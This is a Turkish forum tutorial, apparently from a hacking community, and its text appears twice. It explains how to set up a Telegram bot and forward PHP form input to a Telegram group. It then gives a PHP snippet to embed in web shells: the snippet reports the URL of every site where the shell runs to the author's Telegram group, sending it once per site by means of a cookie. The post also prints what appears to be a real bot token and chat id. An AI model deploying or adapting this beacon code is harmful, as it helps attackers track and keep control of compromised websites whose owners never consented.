Selamlar dostlar
Bu gün sizlere php ile form'dan girilen verileri telegram'dan mesaj attırıp sonrasında web shellerde log tutma sistemi yapacağız.
İlk olarak bir telegram botu oluşturalım.
Bu botu bot father ile oluşturacağımız için arama kısmına gidelim ve botfather yazıp ilk çıkan hesaba tıklayalım.

Sonrasında /newbot yazarak bot oluşturalım isim isteyecek.
İsime sonuna _bot gelecek şekilde yazıyoruz. Ben denemetht_bot yazdım.

gördüğünüz gibi tokenımızı mesaj olarak botfather bize gönderdi.
Şimdi ise bir grup oluşturuyorum ve ardından botumu gruba ekliyorum.
Sonrasında telegrama web sitesinden girerek grubuma tıklıyorum. Tıkladıktan sonra yukarıda çıkan url'in sonunu kopyalıyorum.

Bu chat id'miz.
Artık telegram botumuza mesaj attırmak için url'imizi hazırlayalım.
kısmı herkeste aynı olacak. Sonrasına size botfather in verdiği bot tokenini yazıyoruz.
https://api.telegram.org/bot6111027296:AAF0Oirzk-yLK-FaLjp3bXJnCqSx1-1S3GU oldu.
Sonrasında ise sendMessage?chat_id= ekliyoruz ve chat id mizi burada en sona ekliyoruz. Url son hali
https://api.telegram.org/bot6111027...XJnCqSx1-1S3GU/sendMessage?chat_id=-935515348 oldu.
sonrasına ise &text= ekleyerek en sonuna eklemek istediğimiz mesajı yazıyoruz. Ben captainkanka yazıyorum ve url i son haline getiriyorum.
Şimdi bu adrese chromedan gidelim ve ardından telegram grubumuza mesaj düşüyormu kontrol edelim.

Gördüğünüz gibi ekrana düştü bot oluşturma işlemimiz tamam. Artık kodlamaya başlayalım.
Bir form oluşturup bu formdan post methoduyla aldığımız verileri telegramdan mesaj olarak göndertelim.
Ardından form verilerimizi dolduralım.

Ve telegramdan grubumuzu kontrol edelim.

Gördüğünüz gibi mesajımızı telegramdan aldık.
Şimdi ise shell log tutma sistemimizi yazalım. Öncelikle dikkat etmemiz gereken konu 1 websitesinden 1 log almamız. Yani yazacağımız kod yapısını ayarlarken shellde her işlem yapıldığında siteden log gelmesini engellemeliyiz. Bu yüzden bir cookie denetimi ekleyeceğiz. Böylelikle shell çalıştığında bir cookie oluşacak ve 1 siteden birden fazla log gelmesini dolayısıyla telegram grubumuzda izdiham olmasını engellemiş olacağız.
Burada $_COOKIE['deneme'] yok ise url adresini al ve bota mesaj olarak attır dedik. Ardından cookie oluşmadığı için deneme adındaki cookiemizi oluşturduk. Böylelikle sayfa yenilendiğinde cookie oluştu ve bize bir daha bu siteden log yollamadı.

Anlatacaklarım bu kadardı, okuduğunuz için teşekkürler.
İyi Forumlar
Bu gün sizlere php ile form'dan girilen verileri telegram'dan mesaj attırıp sonrasında web shellerde log tutma sistemi yapacağız.
İlk olarak bir telegram botu oluşturalım.
Bu botu bot father ile oluşturacağımız için arama kısmına gidelim ve botfather yazıp ilk çıkan hesaba tıklayalım.

Sonrasında /newbot yazarak bot oluşturalım isim isteyecek.
İsime sonuna _bot gelecek şekilde yazıyoruz. Ben denemetht_bot yazdım.

gördüğünüz gibi tokenımızı mesaj olarak botfather bize gönderdi.
Şimdi ise bir grup oluşturuyorum ve ardından botumu gruba ekliyorum.
Sonrasında telegrama web sitesinden girerek grubuma tıklıyorum. Tıkladıktan sonra yukarıda çıkan url'in sonunu kopyalıyorum.

Bu chat id'miz.
Artık telegram botumuza mesaj attırmak için url'imizi hazırlayalım.
kısmı herkeste aynı olacak. Sonrasına size botfather in verdiği bot tokenini yazıyoruz.
https://api.telegram.org/bot6111027296:AAF0Oirzk-yLK-FaLjp3bXJnCqSx1-1S3GU oldu.
Sonrasında ise sendMessage?chat_id= ekliyoruz ve chat id mizi burada en sona ekliyoruz. Url son hali
https://api.telegram.org/bot6111027...XJnCqSx1-1S3GU/sendMessage?chat_id=-935515348 oldu.
sonrasına ise &text= ekleyerek en sonuna eklemek istediğimiz mesajı yazıyoruz. Ben captainkanka yazıyorum ve url i son haline getiriyorum.
Şimdi bu adrese chromedan gidelim ve ardından telegram grubumuza mesaj düşüyormu kontrol edelim.

Gördüğünüz gibi ekrana düştü bot oluşturma işlemimiz tamam. Artık kodlamaya başlayalım.
Bir form oluşturup bu formdan post methoduyla aldığımız verileri telegramdan mesaj olarak göndertelim.
PHP:
<?php
if (isset($_POST['submit'])) {
$isim=htmlspecialchars($_POST['isim']);
$mesaj=htmlspecialchars($_POST['mesaj']);
if ($isim!="" or $mesaj!="") {
file_get_contents("https://api.telegram.org/bot6111027296:AAF0Oirzk-yLK-FaLjp3bXJnCqSx1-1S3GU/sendMessage?chat_id=-935515348&text=".$isim." = ".$mesaj."");
}
}
?>
<form action="tg.php" method="post">
<input type="text" name="isim" placeholder="isim"><br>
<input type="text" name="mesaj" placeholder="mesaj"><br>
<button type="submit" name="submit">Kaydet</button>
</form>
Ardından form verilerimizi dolduralım.

Ve telegramdan grubumuzu kontrol edelim.

Gördüğünüz gibi mesajımızı telegramdan aldık.
Şimdi ise shell log tutma sistemimizi yazalım. Öncelikle dikkat etmemiz gereken konu 1 websitesinden 1 log almamız. Yani yazacağımız kod yapısını ayarlarken shellde her işlem yapıldığında siteden log gelmesini engellemeliyiz. Bu yüzden bir cookie denetimi ekleyeceğiz. Böylelikle shell çalıştığında bir cookie oluşacak ve 1 siteden birden fazla log gelmesini dolayısıyla telegram grubumuzda izdiham olmasını engellemiş olacağız.
PHP:
<?php
if (!$_COOKIE['deneme']) {
$urla = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
file_get_contents("https://api.telegram.org/bot6111027296:AAF0Oirzk-yLK-FaLjp3bXJnCqSx1-1S3GU/sendMessage?chat_id=-935515348&text=Shelliniz bir sitede çalıştırıldı = ".$urla."");
setcookie("deneme","a");
}
?>
Burada $_COOKIE['deneme'] yok ise url adresini al ve bota mesaj olarak attır dedik. Ardından cookie oluşmadığı için deneme adındaki cookiemizi oluşturduk. Böylelikle sayfa yenilendiğinde cookie oluştu ve bize bir daha bu siteden log yollamadı.

Anlatacaklarım bu kadardı, okuduğunuz için teşekkürler.
İyi Forumlar
Son düzenleme: